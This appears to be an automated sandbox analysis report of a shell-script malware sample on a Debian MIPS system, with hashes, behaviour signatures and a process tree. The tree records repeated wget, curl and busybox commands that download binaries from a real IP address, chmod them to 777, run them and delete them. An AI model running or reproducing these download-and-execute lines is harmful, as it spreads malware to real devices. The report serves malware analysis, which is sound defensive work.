Analysis
-
max time kernel
80s -
max time network
78s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
28/10/2024, 02:12
Static task
static1
Behavioral task
behavioral1
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
Resource
debian9-mipsel-20240611-en
General
-
Target
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh
-
Size
10KB
-
MD5
d8b3cb4793886f8ba51c73bc3cadbaca
-
SHA1
2a4c460dad61345bdd09351812e2865159abe9dd
-
SHA256
1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31
-
SHA512
dac5943a6be21fdaf966f6845585dedf0d97cbfa7743cd046fe3570f9ed3a292545364c7f491984555e1e5c5093f3ed46570d03629c6f6786b735a294788e013
-
SSDEEP
192:rmjDQXL2FkYrQo5MENdKVRKKmdNdKVR2kYrQoYjDQXLoN:UFkYrQo5MAKmbkYrQo6
Malware Config
Signatures
-
File and Directory Permissions Modification 1 TTPs 28 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 946 chmod 892 chmod 934 chmod 728 chmod 804 chmod 868 chmod 970 chmod 778 chmod 856 chmod 922 chmod 928 chmod 842 chmod 874 chmod 898 chmod 736 chmod 811 chmod 904 chmod 940 chmod 952 chmod 958 chmod 758 chmod 862 chmod 886 chmod 910 chmod 916 chmod 964 chmod 742 chmod 880 chmod -
Executes dropped EXE 28 IoCs
ioc pid Process /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv 729 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB 737 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM 743 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj 760 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 780 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy 805 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b 812 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI 844 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY 857 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 863 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ 869 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 875 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX 881 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr 887 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 893 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj 899 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY 905 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy 911 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b 917 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI 923 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX 929 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr 935 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 941 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ 947 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 953 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM 959 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv 965 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB 971 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl -
Writes file to tmp directory 28 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b curl File opened for modification /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY curl File opened for modification /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 curl File opened for modification /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv curl File opened for modification /tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0 curl File opened for modification /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX curl File opened for modification /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM curl File opened for modification /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr curl File opened for modification /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 curl File opened for modification /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 curl File opened for modification /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI curl File opened for modification /tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM curl File opened for modification /tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI curl File opened for modification /tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr curl File opened for modification /tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv curl File opened for modification /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB curl File opened for modification /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj curl File opened for modification /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ curl File opened for modification /tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj curl File opened for modification /tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6 curl File opened for modification /tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9 curl File opened for modification /tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY curl File opened for modification /tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ curl File opened for modification /tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB curl File opened for modification /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy curl File opened for modification /tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy curl File opened for modification /tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b curl File opened for modification /tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX curl
Processes
-
/tmp/1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh/tmp/1c58f747753e3352a46c2916d9f5f8d5dc3b9e04b66f38485025b53dd25ceb31.sh1⤵PID:699
-
/bin/rm/bin/rm bins.sh2⤵PID:701
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:705
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:714
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:725
-
-
/bin/chmodchmod 777 LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- File and Directory Permissions Modification
PID:728
-
-
/tmp/LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv./LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵
- Executes dropped EXE
PID:729
-
-
/bin/rmrm LyTqA7xFIVBJENEssCjNnfeXS9CCKGFknv2⤵PID:731
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:732
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:734
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:735
-
-
/bin/chmodchmod 777 x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- File and Directory Permissions Modification
PID:736
-
-
/tmp/x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB./x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵
- Executes dropped EXE
PID:737
-
-
/bin/rmrm x7YC4D8bGXzkqUb0cTbfDXVjbQTMF4wRdB2⤵PID:738
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:739
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:740
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:741
-
-
/bin/chmodchmod 777 jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- File and Directory Permissions Modification
PID:742
-
-
/tmp/jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM./jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵
- Executes dropped EXE
PID:743
-
-
/bin/rmrm jlx9wjJis8xVNUGKkKgLSsz5xOjvweHixM2⤵PID:744
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:745
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:748
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:755
-
-
/bin/chmodchmod 777 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- File and Directory Permissions Modification
PID:758
-
-
/tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj./mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Executes dropped EXE
PID:760
-
-
/bin/rmrm mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:762
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:764
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:769
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:775
-
-
/bin/chmodchmod 777 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- File and Directory Permissions Modification
PID:778
-
-
/tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6./kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Executes dropped EXE
PID:780
-
-
/bin/rmrm kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:783
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:784
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:790
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:800
-
-
/bin/chmodchmod 777 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- File and Directory Permissions Modification
PID:804
-
-
/tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy./ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Executes dropped EXE
PID:805
-
-
/bin/rmrm ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:806
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:807
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:809
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:810
-
-
/bin/chmodchmod 777 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- File and Directory Permissions Modification
PID:811
-
-
/tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b./CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Executes dropped EXE
PID:812
-
-
/bin/rmrm CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:813
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:814
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:825
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:838
-
-
/bin/chmodchmod 777 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- File and Directory Permissions Modification
PID:842
-
-
/tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI./HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Executes dropped EXE
PID:844
-
-
/bin/rmrm HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:846
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:847
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:854
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:855
-
-
/bin/chmodchmod 777 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- File and Directory Permissions Modification
PID:856
-
-
/tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY./dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Executes dropped EXE
PID:857
-
-
/bin/rmrm dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:858
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:859
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Reads runtime system information
- Writes file to tmp directory
PID:860
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:861
-
-
/bin/chmodchmod 777 Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- File and Directory Permissions Modification
PID:862
-
-
/tmp/Uct3UXZOStpcEQOi547zU11rNtbHTrF9t9./Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵
- Executes dropped EXE
PID:863
-
-
/bin/rmrm Uct3UXZOStpcEQOi547zU11rNtbHTrF9t92⤵PID:864
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:865
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:866
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:867
-
-
/bin/chmodchmod 777 ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- File and Directory Permissions Modification
PID:868
-
-
/tmp/ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ./ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵
- Executes dropped EXE
PID:869
-
-
/bin/rmrm ok1YcZzIvtxcalOu8yyruBGGbVw364rKxQ2⤵PID:870
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:871
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Reads runtime system information
- Writes file to tmp directory
PID:872
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:873
-
-
/bin/chmodchmod 777 yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- File and Directory Permissions Modification
PID:874
-
-
/tmp/yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD0./yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵
- Executes dropped EXE
PID:875
-
-
/bin/rmrm yjmswWpjUKTj0JKs4jWHeBrITHQbe1FJD02⤵PID:876
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:877
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:879
-
-
/bin/chmodchmod 777 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- File and Directory Permissions Modification
PID:880
-
-
/tmp/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX./ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Executes dropped EXE
PID:881
-
-
/bin/rmrm ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:882
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:883
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:884
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:885
-
-
/bin/chmodchmod 777 vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- File and Directory Permissions Modification
PID:886
-
-
/tmp/vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr./vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵
- Executes dropped EXE
PID:887
-
-
/bin/rmrm vUzmbkLKiJSe2UWtRMSQajqF4vAhcaudwr2⤵PID:888
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:889
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:890
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:891
-
-
/bin/chmodchmod 777 kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- File and Directory Permissions Modification
PID:892
-
-
/tmp/kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR6./kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵
- Executes dropped EXE
PID:893
-
-
/bin/rmrm kfwS7wOIBEbGnDlNgIYPtkq2cUhYxNRKR62⤵PID:894
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:895
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:896
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:897
-
-
/bin/chmodchmod 777 mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- File and Directory Permissions Modification
PID:898
-
-
/tmp/mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj./mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵
- Executes dropped EXE
PID:899
-
-
/bin/rmrm mG8jhawTG4Xzo5qVJOAtUc3oWwx6xD5ygj2⤵PID:900
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:901
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:902
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:903
-
-
/bin/chmodchmod 777 dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- File and Directory Permissions Modification
PID:904
-
-
/tmp/dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY./dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵
- Executes dropped EXE
PID:905
-
-
/bin/rmrm dgsHqP1cvK7UnJfCpnuwEPvwI8QeIKg8rY2⤵PID:906
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:907
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:908
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:909
-
-
/bin/chmodchmod 777 ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- File and Directory Permissions Modification
PID:910
-
-
/tmp/ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy./ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵
- Executes dropped EXE
PID:911
-
-
/bin/rmrm ZtcSjUYkmxGVvvr0kYFOTfNHxnzmDq2ZRy2⤵PID:912
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:913
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:914
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:915
-
-
/bin/chmodchmod 777 CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- File and Directory Permissions Modification
PID:916
-
-
/tmp/CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b./CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵
- Executes dropped EXE
PID:917
-
-
/bin/rmrm CL8hJQrmppmOrTWtvBgXCJ1rHCBgSGGp8b2⤵PID:918
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:919
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:920
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:921
-
-
/bin/chmodchmod 777 HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- File and Directory Permissions Modification
PID:922
-
-
/tmp/HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI./HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵
- Executes dropped EXE
PID:923
-
-
/bin/rmrm HJzoWn5kIdjZrfL5FCXesTNExDbT4BNyeI2⤵PID:924
-
-
/usr/bin/wgetwget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:925
-
-
/usr/bin/curlcurl -O http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:926
-
-
/bin/busybox/bin/busybox wget http://87.120.126.196/bins/ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵PID:927
-
-
/bin/chmodchmod 777 ZLetAjEE6x1Vy5KYW3ilFr8LIdj9l2FyDX2⤵
